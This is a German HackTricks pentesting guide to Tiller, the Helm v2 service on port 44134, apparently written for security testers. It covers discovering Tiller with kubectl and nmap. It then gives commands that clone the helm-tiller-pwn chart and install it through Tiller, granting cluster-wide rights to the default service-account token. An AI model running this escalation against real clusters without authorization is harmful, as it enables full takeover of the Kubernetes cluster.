hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

5.5 KiB

{% hint style="success" %} Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks
{% endhint %}

Grundinformationen

Helm ist der Paketmanager für Kubernetes. Er ermöglicht das Verpacken von YAML-Dateien und deren Verteilung in öffentlichen und privaten Repositories. Diese Pakete werden Helm Charts genannt. Tiller ist der Dienst, der standardmäßig auf dem Port 44134 läuft und den Dienst anbietet.

Standardport: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumeration

Wenn Sie Pods und/oder Dienste verschiedener Namespaces aufzählen können, tun Sie dies und suchen Sie nach denjenigen mit "tiller" im Namen:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Beispiele:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

Sie könnten auch versuchen, diesen Dienst zu finden, indem Sie den Port 44134 überprüfen:

sudo nmap -sS -p 44134 <IP>

Sobald Sie es entdeckt haben, können Sie mit ihm kommunizieren, indem Sie die Client-Helm-Anwendung herunterladen. Sie können Tools wie homebrew verwenden oder sich die offizielle Veröffentlichungsseite** ansehen.** Für weitere Details oder andere Optionen siehe die Installationsanleitung.

Dann können Sie den Dienst auflisten:

helm --host tiller-deploy.kube-system:44134 version

Privilegieneskalation

Standardmäßig wurde Helm2 im Namespace kube-system mit hohen Rechten installiert. Wenn Sie also den Dienst finden und Zugriff darauf haben, könnte dies Ihnen ermöglichen, die Privilegien zu eskalieren.

Alles, was Sie tun müssen, ist, ein Paket wie dieses zu installieren: https://github.com/Ruil1n/helm-tiller-pwn, das dem Standarddiensttoken Zugriff auf alles im gesamten Cluster gewährt.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

In http://rui0.cn/archives/1573 finden Sie die Erklärung des Angriffs, aber im Grunde, wenn Sie die Dateien clusterrole.yaml und clusterrolebinding.yaml im Verzeichnis helm-tiller-pwn/pwnchart/templates/ lesen, können Sie sehen, wie alle Berechtigungen dem Standard-Token zugewiesen werden.

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}